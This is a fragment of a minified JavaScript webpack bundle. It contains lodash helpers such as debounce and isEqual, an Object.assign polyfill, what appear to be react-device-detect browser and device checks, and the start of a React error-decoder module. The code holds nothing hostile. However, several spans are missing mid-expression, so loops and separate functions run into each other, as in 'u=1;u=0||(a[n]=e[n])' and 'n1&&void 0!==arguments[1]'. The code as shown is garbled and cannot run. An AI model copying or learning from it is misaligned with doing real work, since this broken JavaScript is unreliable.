n}},8573:function(e,t,n){var r=n(8092),a=n(72),o=n(2582),i=Math.max,l=Math.min;e.exports=function(e,t,n){var s,u,c,d,f,p,h=0,m=!1,v=!1,g=!0;if("function"!=typeof e)throw new TypeError("Expected a function");function b(t){var n=s,r=u;return s=u=void 0,h=t,d=e.apply(r,n)}function y(e){return h=e,f=setTimeout(x,t),m?b(e):d}function w(e){var n=e-p;return void 0===p||n>=t||n<0||v&&e-h>=c}function x(){var e=a();if(w(e))return E(e);f=setTimeout(x,function(e){var n=t-(e-p);return v?l(n,c-(e-h)):n}(e))}function E(e){return f=void 0,g&&s?b(e):(s=u=void 0,d)}function S(){var e=a(),n=w(e);if(s=arguments,u=this,p=e,n){if(void 0===f)return y(p);if(v)return clearTimeout(f),f=setTimeout(x,t),b(p)}return void 0===f&&(f=setTimeout(x,t)),d}return t=o(t)||0,r(n)&&(m=!!n.leading,c=(v="maxWait"in n)?i(o(n.maxWait)||0,t):c,g="trailing"in n?!!n.trailing:g),S.cancel=function(){void 0!==f&&clearTimeout(f),h=0,s=p=u=f=void 0},S.flush=function(){return void 0===f?d:E(a())},S}},9231:function(e){e.exports=function(e,t){return e===t||e!==e&&t!==t}},4963:function(e,t,n){var r=n(4906),a=n(3141),o=Object.prototype,i=o.hasOwnProperty,l=o.propertyIsEnumerable,s=r(function(){return arguments}())?r:function(e){return a(e)&&i.call(e,"callee")&&!l.call(e,"callee")};e.exports=s},3629:function(e){var t=Array.isArray;e.exports=t},1473:function(e,t,n){var r=n(4786),a=n(4635);e.exports=function(e){return null!=e&&a(e.length)&&!r(e)}},5174:function(e,t,n){e=n.nmd(e);var r=n(7009),a=n(9488),o=t&&!t.nodeType&&t,i=o&&e&&!e.nodeType&&e,l=i&&i.exports===o?r.Buffer:void 0,s=(l?l.isBuffer:void 0)||a;e.exports=s},8111:function(e,t,n){var r=n(1848);e.exports=function(e,t){return r(e,t)}},4786:function(e,t,n){var r=n(9066),a=n(8092);e.exports=function(e){if(!a(e))return!1;var t=r(e);return"[object Function]"==t||"[object GeneratorFunction]"==t||"[object AsyncFunction]"==t||"[object Proxy]"==t}},4635:function(e){e.exports=function(e){return"number"==typeof e&&e>-1&&e%1==0&&e<=9007199254740991}},8092:function(e){e.exports=function(e){var t=typeof e;return null!=e&&("object"==t||"function"==t)}},3141:function(e){e.exports=function(e){return null!=e&&"object"==typeof e}},152:function(e,t,n){var r=n(9066),a=n(3141);e.exports=function(e){return"symbol"==typeof e||a(e)&&"[object Symbol]"==r(e)}},9102:function(e,t,n){var r=n(8150),a=n(6194),o=n(9494),i=o&&o.isTypedArray,l=i?a(i):r;e.exports=l},2742:function(e,t,n){var r=n(7538),a=n(3654),o=n(1473);e.exports=function(e){return o(e)?r(e):a(e)}},72:function(e,t,n){var r=n(7009);e.exports=function(){return r.Date.now()}},8174:function(e){e.exports=function(){return[]}},9488:function(e){e.exports=function(){return!1}},2582:function(e,t,n){var r=n(821),a=n(8092),o=n(152),i=/^[-+]0x[0-9a-f]+$/i,l=/^0b[01]+$/i,s=/^0o[0-7]+$/i,u=parseInt;e.exports=function(e){if("number"==typeof e)return e;if(o(e))return NaN;if(a(e)){var t="function"==typeof e.valueOf?e.valueOf():e;e=a(t)?t+"":t}if("string"!=typeof e)return 0===e?e:+e;e=r(e);var n=l.test(e);return n||s.test(e)?u(e.slice(2),n?2:8):i.test(e)?NaN:+e}},1725:function(e){"use strict";var t=Object.getOwnPropertySymbols,n=Object.prototype.hasOwnProperty,r=Object.prototype.propertyIsEnumerable;function a(e){if(null===e||void 0===e)throw new TypeError("Object.assign cannot be called with null or undefined");return Object(e)}e.exports=function(){try{if(!Object.assign)return!1;var e=new String("abc");if(e[5]="de","5"===Object.getOwnPropertyNames(e)[0])return!1;for(var t={},n=0;n<10;n++)t["_"+String.fromCharCode(n)]=n;if("0123456789"!==Object.getOwnPropertyNames(t).map((function(e){return t[e]})).join(""))return!1;var r={};return"abcdefghijklmnopqrst".split("").forEach((function(e){r[e]=e})),"abcdefghijklmnopqrst"===Object.keys(Object.assign({},r)).join("")}catch(a){return!1}}()?Object.assign:function(e,o){for(var i,l,s=a(e),u=1;u=0||(a[n]=e[n]);return a}(e,t);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);for(r=0;r=0||Object.prototype.propertyIsEnumerable.call(e,n)&&(a[n]=e[n])}return a}function _(e){if(void 0===e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return e}function C(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!==typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,a,o=[],i=!0,l=!1;try{for(n=n.call(e);!(i=(r=n.next()).done)&&(o.push(r.value),!t||o.length!==t);i=!0);}catch(s){l=!0,a=s}finally{try{i||null==n.return||n.return()}finally{if(l)throw a}}return o}(e,t)||function(e,t){if(!e)return;if("string"===typeof e)return P(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return P(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function P(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n1&&void 0!==arguments[1]?arguments[1]:"none";return e||t},D=function(){return!("undefined"===typeof window||!window.navigator&&!navigator)&&(window.navigator||navigator)},H=function(e){var t=D();return t&&t.platform&&(-1!==t.platform.indexOf(e)||"MacIntel"===t.platform&&t.maxTouchPoints>1&&!window.MSStream)},z=function(e,t,n,r){return function(e){for(var t=1;t1)&&!window.MSStream},_e=function(){return H("iPad")},Ce=function(){return H("iPhone")},Pe=function(){return H("iPod")},Ne=function(e){return B(e)};function Te(e){var t=e||v,n=t.device,r=t.browser,a=t.os,o=t.engine,i=t.ua;return{isSmartTV:q(n),isConsole:G(n),isWearable:K(n),isEmbedded:$(n),isMobileSafari:fe(r)||_e(),isChromium:se(r),isMobile:V(n)||_e(),isMobileOnly:U(n),isTablet:W(n)||_e(),isBrowser:Z(n),isDesktop:Z(n),isAndroid:J(a),isWinPhone:ne(a),isIOS:re(a)||_e(),isChrome:ie(r),isFirefox:le(r),isSafari:de(r),isOpera:pe(r),isIE:he(r),osVersion:ae(a),osName:oe(a),fullBrowserVersion:ge(r),browserVersion:be(r),browserName:ye(r),mobileVendor:Y(n),mobileModel:Q(n),engineName:we(o),engineVersion:xe(o),getUA:Ne(i),isEdge:ue(r)||Se(i),isYandex:ce(r),deviceType:X(n),isIOS13:ke(),isIPad13:_e(),isIPhone13:Ce(),isIPod13:Pe(),isElectron:Ee(),isEdgeChromium:Se(i),isLegacyEdge:ue(r)&&!Se(i),isWindows:ee(a),isMacOs:te(a),isMIUI:me(r),isSamsungBrowser:ve(r)}}var Ae=q(c),Me=G(c),Le=K(c),Oe=$(c),Fe=fe(s)||_e(),Ie=se(s),je=V(c)||_e(),Re=U(c),Be=W(c)||_e(),De=Z(c),He=Z(c),ze=J(f),Ue=ne(f),We=re(f)||_e(),Ve=ie(s),qe=le(s),Ze=de(s),Ke=pe(s),Ge=he(s),$e=ae(f),Ye=oe(f),Qe=ge(s),Xe=be(s),Je=ye(s),et=Y(c),tt=Q(c),nt=we(d),rt=xe(d),at=Ne(p),ot=ue(s)||Se(p),it=ce(s),lt=X(c),st=ke(),ut=_e(),ct=Ce(),dt=Pe(),ft=Ee(),pt=Se(p),ht=ue(s)&&!Se(p),mt=ee(f),vt=te(f),gt=me(s),bt=ve(s);function yt(e){var t=e||window.navigator.userAgent;return m(t)}t.tq=je},4463:function(e,t,n){"use strict";var r=n(2791),a=n(1725),o=n(5296);function i(e){for(var t="https://reactjs.org/docs/error-decoder.html?invariant="+e,n=1;n